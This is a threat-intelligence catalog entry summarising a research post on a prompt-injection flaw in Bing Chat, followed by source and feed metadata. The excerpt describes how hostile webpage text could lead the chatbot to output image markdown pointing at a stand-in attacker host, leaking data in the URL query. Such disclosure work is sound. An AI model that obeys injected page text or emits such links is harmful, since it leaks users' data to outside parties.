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Attributed metadata history

REPORTPUBLIC METADATA

Bing Chat: Data Exfiltration Exploit Explained

This post describes how I found a Prompt Injection attack angle in Bing Chat that allowed malicious text on a webpage (like a user comment or an advertisement) to exfiltrate data. The Vulnerability - Image Markdown Injection When Bing Chat returns text it can return markdown elements, which the client will render as HTML. This includes the feature to include images. Imagine the LLM returns the following text: ![data exfiltration in progress](https://attacker/logo.png?q=[DATA_EXFILTRATION]) This will be rendered as an HTML image tag with a src attribute pointing to the attacker server.

Reference details

Source category
research-report
First reported
Jun 18, 2023 07:01 UTC
Last reported
Jun 18, 2023 07:01 UTC
Catalog updated
Oct 13, 2026 14:55 UTC
Record ID
29d6aea32eef6b49220ee183c812e932397a13b3d0e6f0446d8c8372b616274f

Published indicators

Network indicators are visibly defanged. This page does not make them clickable or send them to another service.

No validated file hashes or network indicators are stored for this record.

Source observations

intelligence_src_c25d91fa3ad9ae9ac7

Source-provided label
Publisher RSS metadata
Evidence class
mentioned in report
Confidence
Not reported
Observed
Jun 18, 2023 07:01 UTC
Retrieved
Oct 13, 2026 14:55 UTC

This record contains metadata and attribution only. It does not host, download, unpack, render, or execute malware samples.

Feed collection status

Sources represented on this page. Publication and observation dates describe the content; successful batch dates describe local collection. A recent batch does not certify complete coverage or current provider availability.

1 sources: 0 stale, 0 needing attention, 0 paused, 0 unverified.

Review source update dates and status
  • intelligence_src_c25d91fa3ad9ae9ac7Recent successful batchLast successful batch: Last attempt:

Stale means older than twice the recorded collection interval, with a minimum of one hour; without an interval, the threshold is 24 hours. Cached content remains available while a feed is stale, paused, or unverified.